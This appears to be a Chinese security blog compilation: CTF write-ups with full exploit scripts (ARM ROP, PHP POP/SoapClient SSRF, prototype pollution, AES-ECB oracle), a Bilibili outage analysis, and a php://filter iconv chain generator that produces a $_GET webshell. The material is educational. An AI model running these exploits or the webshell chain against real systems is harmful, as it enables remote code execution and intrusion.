2022 I-S00N CTF Partly Writeup | By SanDieg0

PWN

babyarm

首先就是绕过一个简单的变表base64的加密key

然后就是一个类似ret2libc的利用方式,不过没有直接控制r0的gadget

使用的是arm32中万能的gadget

from pwn import *
#p = process(["qemu-arm","-g", "1212","-L", "/usr/arm-linux-gnueabi/", "./chall"])
#p = process(['qemu-arm','-L','/usr/arm-linux-gnueabi/','./chall'])
p = remote('47.108.29.107',10244)
context.log_level='debug'
context.arch='arm'

elf = ELF('./chall')
libc = ELF('./libc-2.27.so')
#context.terminal = ['gnome-terminal','-x','sh','-c']

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))

sla('msg> ','s1mpl3Dec0d4r')
r4 = 0x00010cb0
r3 = 0x00010464
movcall = 0x00010ca0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
leak('puts',puts_plt)
pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(puts_got)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(puts_plt)+p32(movcall)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0)+p32(0x0010B60)
pause()
p.sendlineafter('comment> ',pl)
libcbase = uu64(r(4)) - libc.sym['puts']
system = libcbase + libc.sym['system']
binsh = libcbase + 0x00131bec
leak('libcbase',libcbase)
sla('msg> ','s1mpl3Dec0d4r')

pl = b'a'*0x2c+p32(r4)+p32(0)+p32(0)+p32(0)+p32(binsh)+p32(0)+p32(0)+p32(0)+p32(r3)+p32(system)+p32(movcall)
p.sendlineafter('comment> ',pl)

p.interactive()

image

{: id="20221127195858-c3goidh" updated="20221127195900"}

WEB

babyphp

<?php
//something in flag.php

class A
{

    public $a;
    public $b;

    public function __construct()
    {
        $this->a="0e1137126905";
    }
    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}

class C
{
    public $a;
    public $c;
    public function __construct(){
        $this->a="phpinfo";
    }
/*
    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    */
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$pop=new B();
$pop->a=new C();
$pop->a->c=new A();
$pop->a->c->b=new C();

echo serialize($pop);

同时在 flag.php中 需要使用ssrf 尝试在call_user_func处 使用soapclient 进行 ssrf

<?php
$target='http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg';
$b = new SoapClient(null,array('location' => $target,
    'user_agent' => "sp4c1ous\r\nCookie:PHPSESSID=flag123\r\n",
    'uri' => "http://127.0.0.1/"));
$a = serialize($b);
echo "|".urlencode($a);

然后结合session反序列化 可以打出

image

ez_js

查看源码 可用 MD5爆破将secret爆破出 为abcdefg

from hashlib import sha256,md5
x = '1946714cfa9deb70cc40bab32872f98a'
n = b'flag'
s = list('abcdefghijklmnopqrstuvwxyz'.strip())
import itertools
for i in itertools.product(s,repeat = 7):
    d = ''.join(i).encode()
    g = d+n
    m=md5(g).hexdigest()

    if m == x:
        print(d)
        break

可得admin的cookie ed63246fb602056fee4a7ec886d0a3c2

将其填入hash 可跳转得到源码

var express = require('express');
var router = express.Router();

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
  return merge({}, a);
}

router.get('/', function(req, res, next) { 
  if(req.flag=="flag"){
    //输出flag;
    res.send('flag?????????????');
    }
    res.render('info');
});

router.post('/', express.json(),function(req, res) {
  var str = req.body.id;
  var obj = JSON.parse(str);
  req.cookies.id=clone(obj);
  res.render('info');
});

module.exports = router;

merge的原型链污染 直接打

id={"aaa":1,"__proto__":{"flag":"flag"}}

image

可得flag

ezupload

先上传一个phpinfo查看细节:

image

发现 disable_functions ​被过滤了很多,尝试绕过。

和mysql里写shell一样,16进制,8进制,Unicode编码都可以,这里选择的是hex编码:

image

<?php echo "\x66\x69\x6c\x65\x5f\x67\x65\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"("index.php");?>

额虽然没读取到,但是说明命令执行成功了

image

然后就是利用glob://​尝试获取根目录flag位置:

PHP使用DirectoryIterator遍历指定目录下的所有文件-PHP基础-自如初个人博客 (ziruchu.com)

image

 <?php new DirectoryIterator("glob:///fl*");?>

转一个16进制,然后获取这个文件就行

image

file_get_contents("/fl1111111111ag")

MISC

GumpKing

直接CE改分就行

little_thief

流量包提取压缩包文件:

image

在流量记录里可以找到POST提交的流量,里面有jwt,解密:

image

image

得到密码,解压后得到flag.html

打开后里面是在线编辑器生成的,怀疑有隐写,wbStego4.3open.exe打开,不知道密码,尝试无密码获取

image

image

CRYPTO

Cry1

import string
import hashlib
a="JmxeKr3R4zh6CXZc"
encode1="3ed373143ba9844885a3fff7afd3f7eec9982bd9be51c642314855cc015da3da"
str=string.ascii_letters+string.digits
for i1 in str:
    for i2 in str:
        for i3 in str:
            for i4 in str:
                plain=i1+i2+i3+i4+a
                encode=hashlib.sha256(plain.encode()).hexdigest()
                if encode==encode1:
                    print(i1+i2+i3+i4)
#Tg4N

猜了无数次,服了

dcee4f4aead936232e409d7518778ab

Cry2

上来还是常规的加盐爆破,不说了

先用本地,弄清了一下原理

就是用flag2作为key,加密了flag1+imessage+flag2

nc之后随便敲个空格就能拿到flag1+flag2的密文,关键是key

没啥好办法,只能一位一位爆破了

from pwn import *
from Crypto.Util.number import *
import gmpy2
import string
import itertools
from tqdm import tqdm
import hashlib
from tqdm import tqdm
from Crypto.Cipher import AES
table = string.ascii_letters + string.digits
# context(log_level = 'debug')
ip = '120.78.131.38'
port = 10086
r = remote(ip,port)
def proof():
    r.recvuntil(b'SHA256(XXXX')
    a = r.recvline()[:-1].decode()
    tmp = a[a.find(' + ') + 3:a.find(')')]
    aim = a[a.find(':') + 1:]
    for i in itertools.product(table,repeat=4):
        ans = ''.join(i)
        if hashlib.sha256((ans + tmp).encode()).hexdigest() == aim:
            print(ans)
            r.recvuntil(b'Give Me XXXX:\n')
            r.sendline(ans.encode())
            return

proof()
flag2 = ''
for i in tqdm(range(1,16)):
    for t in table:
        tmp = '0' * 8 + '0' * (16 - i) + flag2 + t + '0' * (16 - i)
        # print(payload)
        r.recvuntil(b'You can input anything:\n')
        r.send(tmp.encode())
        r.recvuntil(b"Here is your cipher: b'")
        cipher = r.recvuntil(b"'")[:-1]
        # print(cipher)
        p = [cipher[i : i + 32] for i in range(0,len(cipher),32)]
        if p[1] == p[2]:
            flag2 += t
            print(fleg)
            break
flag2 += '}'
key = flag2.encode()
print(key)
r.interactive()

9d30601ed8af0f7cb9f55212ce3e005

最后一个AES解密解决战斗

table='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def pad( message):
    if len(message) % 16 != 0:
        return message.ljust((len(message) // 16 + 1) * 16, '0').encode()
    else:
        return message.encode()
def encrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.encrypt(message)
def decrypt( key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
from Crypto.Cipher import AES
from Crypto.Util.number import *
c=0x68e05ae1ed73ec29526b7f4ec7e025cfa162a7f20d8401a05a45c67fd6dbc180
c=long_to_bytes(c)
def decrypt(key, message):
    aes = AES.new(key, AES.MODE_ECB)
    return aes.decrypt(message)
key='IDl8FuWPu01RHZt}'
print(decrypt(key.encode(),c))
#b'D0g3{o7sIDl8FuWPu01RHZt}00000000'

REVERSE

reee

32位,打开题目跟进函数找到加密逻辑,发现没有编译成函数

a1fda9996f396c28e79749b4b2f91e6

编译成函数后,简单分析发现是RC4,密文和key已知,在线网站解密即可

D0g3{This_15_FindWind0w}

诡计多端的’0′ | B站事故报告

B站事故报告:2021.07.13 我们是这样崩的

2021年的7月13日,正在看小姐姐跳舞的fake_soul突然发现B站视频卡住了,急得他马上提上了裤子。

过了一会,每个群里传来不一样的瓜:“B站大楼爆炸了”、“上海云服务中心起火”、“小破站程序员因不满工作删库跑路”。。。

说实话很惭愧,B站的事故报告在今年7月就发布了,被cue了好几个月装死,到现在才去认真看,呜呜呜~~~

看了看网上很多师傅发出来的分析,“震惊!B站崩溃竟是因为诡计多端的'0'!

诡计多端的0

我们直接步入正题,事故报告已经发出了关键代码:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  • 这是一段嵌入在B站Nginx服务器的 lua 代码(一种轻量级脚本语言,有着更简单的 C API 所以很容易嵌入应用中,来实现可配置性、可扩展性)

结合事故报告,lua有几个特点:

  • Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

  • Lua在对一个数字字符串进行算术操作时,会尝试将这个数字字符串转成一个数字。

  • 在Lua语言中,数学运算n % 0的结果是nan (Not A Number)

好了,学过一点点编程的家人应该能明白,这个地方的_gcd函数,是在利用辗转相除来计算ab的最大公约数

举个例子,我们对ab赋值,令a = 12 b=8,按照上面的逻辑,a 除以 b,余数是4,不为0,进入后面的递归处理, a=8b=4,此时再进行相除,余数为0,说明4是ab的最大公约数。

这样的话就满足了判定条件:

    if b == 0 then
        return a
    end

就结束了运算

乍一看,很合理啊很合理🤔因为也不是什么很复杂运算~

但问题就出在这里,上面我们有提到:

Lua 是动态类型语言,常用习惯里变量不需要定义类型,只需要为变量赋值即可。

所以,如何打破这个运算,让其崩溃呢?

结合上面这句话,有聪明的同学已经猜到了:我们让b为字符串"0",这样不就好了吗?

这里我们再看一下这个lua函数,解释下为什么:

local _gcd
_gcd = function(a,b)
    if b == 0 then
        return a
    end

    return _gcd(b,a % b)
end
  1. 当b为字符串的"0",由于_gcd函数没有对b的类型进行校验,所以_gcd就出现了对 "0" 与 0进行判断,但是此时,"0" != 0!=:不等于),所以进入return _gcd(b,a % b)
    哎,上面我们说了:在Lua语言中,数学运算n % 0的结果是nan (Not A Number)
    此时,现在返回结果是_gcd("0",nan)b="0"a=nan
  2. _gcd("0",nan)会再次执行,返回值是 _gcd(nan,nan)b=nana=nan
  3. 此时依旧满足nan != 0,所以继续进入return _gcd(b,a % b),即 _gcd(nan,nan),和上一步的流程是重复的,死循环不就出现了嘛

这样,整个流程是不是很清晰了,由于一直陷入死循环,Bilibili的Nginx服务器进程就跑满了,占到了100%,就处理不了其他进程了。。。

image

好了,那么现在的问题:如何让 b 为字符串格式的 "0" 呢

来自小破站的官方回复:

  • 在某种发布模式中,应用的实例权重会短暂的调整为0,此时注册中心返回给SLB的权重是字符串类型的"0"。此发布模式只有生产环境会用到,同时使用的频率极低,在SLB前期灰度过程中未触发此问题。

  • SLB 在balance_by_lua阶段,会将共享内存中保存的服务IP、Port、Weight 作为参数传给lua-resty-balancer模块用于选择upstream server,在节点 weight = "0" 时,balancer 模块中的 _gcd 函数收到的入参 b 可能为 "0"

看不懂是吧,没事,我也没看懂,嘿嘿 😛

image

时间线

事故发生

2021年7月13日22:52 SRE收到大量服务和域名的接入层不可用报警,客服侧开始收到大量用户反馈B站无法使用,同时内部同学也反馈B站无法打开,甚至APP首页也无法打开。基于报警内容,SRE第一时间怀疑机房、网络、四层LB、七层SLB等基础设施出现问题,紧急发起语音会议,拉各团队相关人员开始紧急处理。

紧急修复

5分钟后,运维同学发现承载全部在线业务的主机房七层SLB的 CPU占用率达到了100% ,无法处理用户请求,排除其他设施后,锁定故障为该层。

22:55 远程在家的相关同学登陆VPN后,无法登陆内网鉴权系统(B站内部系统有统一鉴权,需要先获取登录态后才可登陆其他内部系统,和校园内网一样),导致无法打开内部系统,无法及时查看监控、日志来定位问题。

23:07 远程在家的同学紧急联系负责VPN和内网鉴权系统的同学后,了解可通过绿色通道登录到内网系统。

这个地方我盲猜是有后门(doge)

此时已经过去了 25分钟 ,抢修正式开始。(莫名有点燃是怎么回事🤔)

  1. 首先,运维同学先热重启了一遍SLB,未恢复;然后尝试拒绝用户流量冷重启SLB,CPU依然100%,还是未恢复。

  2. 接着,运维发现多活机房SLB请求大量超时,但CPU未过载,正准备重启多活机房SLB时,内部群反应主站服务已恢复。

此时:23:23 距离事故发生已经过去31分钟,这个时候大家可能就遇到了视频是能看,但是部分功能依旧不可用,比如收藏、投币啥的。

image

官方事故报告在文章最后说到 高可用容灾架构 生效了,其实就是说的这个主站业务恢复。这个架构可以理解为是一种应急预案,就是为了防止这种突发情况发生而设计的。

提上裤子的fake_soul同学很气,问:为什么过去了半个多小时了,这个预警才发挥作用???我裤子不是白脱了吗???

这个其实不怨B站,由于点不开B站大家就开始疯狂上拉刷新,而此时B站的CDN流量回源重试 + 用户重试,直接让B站流量突增4倍以上,连接数突增100倍到了千万级别,多活SLB直接就给整过载了。。。别说架构发挥作用了,就算陈叔叔自己来了也得在这傻楞。。。

image

23:25 - 23:55 未恢复的业务暂无其他立即有效的止损预案,此时尝试恢复主机房的SLB。

  • 我们通过Perf发现SLB CPU热点集中在Lua函数上,怀疑跟最近上线的Lua代码有关,开始尝试回滚最近上线的Lua代码。

  • 近期SLB配合安全同学上线了自研Lua版本的WAF,怀疑CPU热点跟此有关,尝试去掉WAF后重启SLB,SLB未恢复。

  • SLB两周前优化了Nginx在balance_by_lua阶段的重试逻辑,避免请求重试时请求到上一次的不可用节点,此处有一个最多10次的循环逻辑,怀疑此处有性能热点,尝试回滚后重启SLB,未恢复。

  • SLB一周前上线灰度了对 HTTP2 协议的支持,尝试去掉 H2 协议相关的配置并重启SLB,未恢复。

新建源站

00:00  SLB运维尝试回滚相关配置依旧无法恢复SLB后,决定重建一组全新的SLB集群,让CDN把故障业务公网流量调度过来,通过流量隔离观察业务能否恢复。

00:20  SLB新集群初始化完成,开始配置四层LB和公网IP。

01:00  SLB新集群初始化和测试全部完成,CDN开始切量。SLB运维继续排查CPU 100%的问题,切量由业务SRE同学协助。

01:18  直播业务流量切换到SLB新集群,直播业务恢复正常。

01:40  主站、电商、漫画、支付等核心业务陆续切换到SLB新集群,业务恢复。

01:50  此时在线业务基本全部恢复

后话

谁能想到,B站运维就两个同学,痛!太痛了!但是这个排查速度真的挺快了,B站还是人才济济的。

后来由于本次事故实在是耽误了太久、太多事儿,因此B站给所有用户补了一天大会员。

有人就在此算了一笔账,这7行代码,让陈叔叔一下亏了大约157500000元。

image

Living off the Land 2 RCE

白嫖了陈师傅3天的漏洞百出,真香~

看到Y4tacker师傅在陈师傅的知识星球发了一张图片:

image

<h1>Update profile picture</h1>
<p>
    Change you profile picture to any PNG you like!
    Just add ?image=LINK to the url.
    Your picture will now show on the page!
</p>
<?php

//Get the image
$image_url = $_GET['image'];
$image = file_get_contents($image_url);

//Temporarily save the image
$tmpfile = tmpfile();
fwtite($tmpfile,$image);
$tmpfile_name = stream_get_meta_data($tmpfile)['uri'];

//Make sure the image is really an image
$image_details = getimagesize($tmpfile_name);
if ($image_details) {
    saveImage($user_uuid . '.png',$iamge);
    echo '<img src="' . $user_uuid . '.png" width=100>';
} else {
    echo 'That doesn\'t look loike an image to me!';
}
?>

Y4师傅发出来的时候已经做出了解答。

在这个题目里中,对文件进行检测时使用了getimagesize函数,如果指定的文件如果不是有效的图像,会返回 false,返回数据中也有表示文档类型的字段。但是仅仅通过getimagesize进行验证其实并不安全,有留下webshell的隐患

getimagesize函数源码进行分析,重点注意两个函数:php_getimagesize_from_streamphp_getimagesizetype

php_getimagesize_from_stream负责最终处理:

static void php_getimagesize_from_stream(php_stream *stream, zval **info, INTERNAL_FUNCTION_PARAMETERS)
{
    ...
    itype = php_getimagetype(stream, NULL TSRMLS_CC);
    switch( itype) {
        ...
    }
    ...
}

static void php_getimagesize_from_any(INTERNAL_FUNCTION_PARAMETERS, int mode) {
    ...
    php_getimagesize_from_stream(stream, info, INTERNAL_FUNCTION_PARAM_PASSTHRU);
    php_stream_close(stream);
}

PHP_FUNCTION(getimagesize)
{
    php_getimagesize_from_any(INTERNAL_FUNCTION_PARAM_PASSTHRU, FROM_PATH);
}

php_getimagetype负责文件类型的判断:

PHPAPI int php_getimagetype(php_stream * stream, char *filetype TSRMLS_DC)
{
    ...
    if (!memcmp(filetype, php_sig_gif, 3)) {
        return IMAGE_FILETYPE_GIF;
    } else if (!memcmp(filetype, php_sig_jpg, 3)) {
        return IMAGE_FILETYPE_JPEG;
    } else if (!memcmp(filetype, php_sig_png, 3)) {
        ...
    }
}

Y4师傅也提到了,在php中getimagesize的校验实现其实就是判断前几个字节php_sig_gif php_sig_png 等是在文件头部定义的

PHPAPI const char php_sig_gif[3] = {'G', 'I', 'F'};
...
PHPAPI const char php_sig_png[8] = {(char) 0x89, (char) 0x50, (char) 0x4e, (char) 0x47,
                                    (char) 0x0d, (char) 0x0a, (char) 0x1a, (char) 0x0a};

(再借用Y4师傅的图片)

image

所以往下的绕过方法分为两种

  • 在PHP文件的 HEX编码 前添加 PNG 文件的头字节,

image

保存为php文件然后上传。

<?php
print_r(getimagesize('test.php'));
/*Array
(
    [0] => 1885957734
    [1] => 1864902971
    [2] => 3
    [3] => width="1885957734" height="1864902971"
    [bits] => 32
    [mime] => image/png
)*/

成功读取出来,并且文件也被正常识别为 PNG 文件,虽然宽和高的值都大的有点离谱。

<?php
print_r(token_get_all(file_get_contents('test.php')));

如果显示正常的话你能看到输出数组的第一个元素的解析器代号是 312,通过 token_name 获取到的名称会是 T_INLINE_HTML,也就是说文件头部的信息被当成正常的内嵌的 HTML 代码被忽略掉了。

至于为什么会有一个大的离谱的宽和高,看一下 php_handle_png 函数的实现就能知道,这些信息也是通过读取特定的文件头的位来获取的。

  • 编码转换后能符合特定规则+php://filter进行文件读取

image

巧用编码来绕过,P牛在谈一谈php://filter的妙用 | 离别歌 (leavesongs.com)中编码与解码,利用php base64_decode解码特性处理死亡exit就用到了这个知识点,两者有异曲同工之妙,hxp CTF 2021 - The End Of LFI? - 跳跳糖 (tttang.com)陆队的文章也有很详细的介绍了。

之前在SESSION文件包含的时候就遇到过往SESSION里面写base64,前面凑齐4的整数倍的字符,然后接下来就是一句话的base64编码,再利用php://filter/convert.base64-decode/resource=/tmp/sess_xxx就可以直接rce,因为里面的base64解码后就可以得到完整的一句话。

再联想到,base64解码的时候会忽略除了base64中那64个字符的其他字符,只处理那64个字符,于是国外的那个师傅就开始尝试能不能通过iconv中不同字符集的转换来成功的得到base64中的字符,最后再来一层base64-decode即可rce。

比如convert.iconv.UTF8.CSISO2022KR,每次这样都会在字符串的首部产生\x1b$)C,可以发现这4个字符中只有字符C属于Base64中,再进行一次base64-decode再base64-encode之后,就只剩下字符C了:

include "php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://,aaaaa"

同理,也可以得到更多的字符,wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT (github.com)wupco师傅基本找出来了所有的数字和字母。

陆队最终利用的是:

<?=`$_GET[0]`;;?>
//PD89YCRfR0VUWzBdYDs7Pz4=
<?php
highlight_file(__FILE__);
$base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4=";
$conversions = array(
    'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C' => 'convert.iconv.UTF8.CSISO2022KR',
    '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
);

$filters = "convert.base64-encode|";
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
$filters .= "convert.iconv.UTF8.UTF7|";

foreach (str_split(strrev($base64_payload)) as $c) {
    $filters .= $conversions[$c] . "|";
    $filters .= "convert.base64-decode|";
    $filters .= "convert.base64-encode|";
    $filters .= "convert.iconv.UTF8.UTF7|";
}
$filters .= "convert.base64-decode";

$final_payload = "php://filter/{$filters}/resource=data://,aaaaaaaaaaaaaaaaaaaa";

// echo $final_payload;
var_dump(file_get_contents($final_payload));

// hexdump
// 00000000  73 74 72 69 6e 67 28 31  38 29 20 22 3c 3f 3d 60  |string(18) "<?=`|
// 00000010  24 5f 47 45 54 5b 30 5d  60 3b 3b 3f 3e 18 22 0a  |$_GET[0]`;;?>.".|

至于需要把$base64_payload反转则是因为是从右边开始产生字符,然后在最左边通过convert.iconv.UTF8.CSISO2022KR来生成\x1b$)C然后进行利用,还不能影响后面已经产生的字符。

至于convert.iconv.UTF8.UTF7单纯的防止=的干扰。

个人觉得可能对于字符集有一定的要求,不同的环境似乎有的字符集不存在导致了POC打不通,或许更近一步fuzz的话可能能得到更为通用的字符集构造的POC。

其实,看到这个的时候,感觉有一丝丝的眼熟,今年的羊城杯:

<?php
(empty($_GET["file"])) ? highlight_file(__FILE__) : $file=$_GET["file"];
function fliter($var): bool{
     $blacklist = ["<","?","$","[","]",";","eval",">","@","_","create","install","pear"];
         foreach($blacklist as $blackword){
           if(stristr($var, $blackword)) return False;
    }
    return True;
}
if(fliter($_SERVER["QUERY_STRING"])) {
    include $file;
}else {
    die("Noooo0");
}

在原先的基础上加了一个黑名单,上面的payload加一个url_encode就能通了

求知若饥,虚怀若谷

结果和过程,到底哪个更重要?每个人都有不同的成长阶段,也会有属于自己不同的看法。距离我上次写杂记系列也是过了好长一段时间,写下这篇随笔,也不想是想去争论些什么,只是觉得现在该去记录自己的心理状态,所以可能没有华丽的辞藻,也没有引人入胜的故事,甚至在写的时候没有一篇完整的构思,但是自从进入网安圈子后,尤其是处于现在这个内心空洞的阶段,更让我觉得对上一个环节的思考是尤为重要。凌晨,往往是一个触动人们敏感神经的时间,现在的我,想把这些思考都记录下来,以便自己垂暮之年时,茶余饭后,随手翻看一下,可能也会别有一番“佳酿”的风味🤔

但行好事,莫问吉凶。

“结果和过程,哪个更重要?”

沉思良久,我叹口气:结果!结果真的会更重要一些,无论是从一名预备警官的角度,还是从网络安全学徒的角度,我都会告诉你,结果重要!

20年入学,20年末开始接触网安圈子,直到今年也马上年末了,这期间我一直都很在意别人对自己的看法,直到现在,我终于也能鼓起勇气对自己说,别在意了,我的人生根本没有那么多观众,我也没有必要去在意别人的目光。

每个人在刚刚接触一个陌生领域,尤其是一个酷炫、神秘,周围的内行人少之又少时,自己旺盛的表达分享欲根本无处安放,肆意在空间、朋友圈里,转发各种文章,发表各种奇奇怪怪的言论和代码,有了一点点的成绩后恨不得给每个好友面前炫耀一番(现在回头看真的是很羞耻的事情)。起初大家可能会很敬佩你,有一个警校朋友,还是“传说中搞网络安全的带黑阔”,给你疯狂点赞;但慢慢你就会发现,大家在你空间的互动越来越少,除了业内的师傅们,自己的亲朋好友根本不屑于搭理你:“这个人总是发这些看不懂的内容,装什么呢?”大家不用否认,很多人都是这么看我的,我自己也很清楚这件事,有段时间心存芥蒂、耿耿于怀,这么做的结果就是睡眠质量急剧下降,有时候每天只能睡到1-3个小时。

精神内耗,真的,很煎熬。

不过很幸运的是,平时我上课不多,也不怎么认真听讲,所以大部分的时间都在实验室里面度过,完成自己的工作后可以小憩一会,也可以再去学一些平时老师根本讲不到的东西。转折,就从两篇文章开始了。

大家可能很意外,因为这两篇文章根本不是技术文章,而是两位大佬的随笔。现在微信上要到了大佬们的好友位,有比赛的时候,偶尔也能组个队伍,一起挑灯夜战,国际赛的时候为国争光。

网络安全,总有人要做的,为什么不能是我呢?

这是他们给我的第一印象。“网安总要有人做的,如果圈子里的人要是因为别人的目光停滞不前,举国上下将没有一丝秘密,所有的信息展露在敌对国面前,尤其是你这种政治院校,肯定更不希望有这种可怖的事情发生。”“表达欲嘛,我也有啊。害,大哥,分组呗,这有啥的。”

当时的我,根本不能接受这种逃避观点。

不过我还是能感觉到,我用心对待周围的一些人,帮他们解决他们的问题,我会很伤心是因为他们说我是舔狗🤔(至今我都没想明白这和舔狗有个勾⑧关系啊?)。我那时就在想,我不求成绩,不求回报,只是一味地喜欢表现自己,帮助他人,虽然那时候我可能真的有些地方不太会说话(这来自于我本能的肆无忌惮)。我那时候第一次感觉到为什么明明就是大家都是学生,为什么可以这么势力,为什么可以无缘无故喷人,在那时候我才发现原来这里不再是高中,无人管控,人性在释放。所以在一次文章投稿通过审核后,熟练地转发了出去。我来到天台上,看着天上的繁星,有那么一瞬间,我真的控制不住了自己,哭的很伤心,我做着自己热爱的事情,表达自己内心的喜悦,难道有错吗????

但谁叫我从小就是个特立独行的主呢?做出的选择,大家也可想而知了,虽然我的选择也不一定正确,但至少符合我的当下。少年是不需要向生活妥协的,原因嘛?我还很年轻,我也不想留下遗憾。

Python pickle unserialize summary

pickle 基础

image

pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。

  • 指令处理器

    从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

  • stack

    由 Python 的 list 实现,被用来临时存储数据、参数以及对象。

  • memo

    由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。

类似于我们在 PHP 中的 serialize 和 unserialize,如果 unserialize 的输入可控我们就可能可以进行恶意的攻击。

python 提供了 pickle 和 cPickle 两个库 来进行 pickle 反序列化的支持。

能够被序列化的内容

下列类型可以被打包,都是有自己的指令码的,可以对照一下下面的指令集:

  • None、True 和 False
  • 整数、浮点数、复数
  • str、byte、bytearray
  • 只包含可打包对象的集合,包括 tuple、list、set 和 dict
  • 定义在模块顶层的函数(使用 def 定义,lambda 函数则不可以)
  • 定义在模块顶层的内置函数
  • 定义在模块顶层的类
  • 某些类实例,这些类的 dict 属性值或 __getstate__() 函数的返回值可以被打包(详情参阅 打包类实例 这一段)。

数据流格式

pickle 所使用的数据格式仅可用于 Python。这样做的好处是没有外部标准给该格式强加限制,比如 JSON 或 XDR(不能表示共享指针)标准;但这也意味着非 Python 程序可能无法重新读取 pickle 封存的 Python 对象。

默认情况下,pickle 格式使用相对紧凑的二进制来存储。如果需要让文件更小,可以高效地 压缩 由 pickle 封存的数据。

pickletools 模块包含了相应的工具用于分析 pickle 生成的数据流。pickletools 源码中包含了对 pickle 协议使用的操作码的大量注释。

当前共有 6 种不同的协议可用于封存操作。 使用的协议版本越高,读取所生成 pickle 对象所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • 第 2 版协议是在 Python 2.3 中引入的。 它为 新式类 提供了更高效的封存机制。 请参考 PEP 307 了解第 2 版协议带来的改进的相关信息。
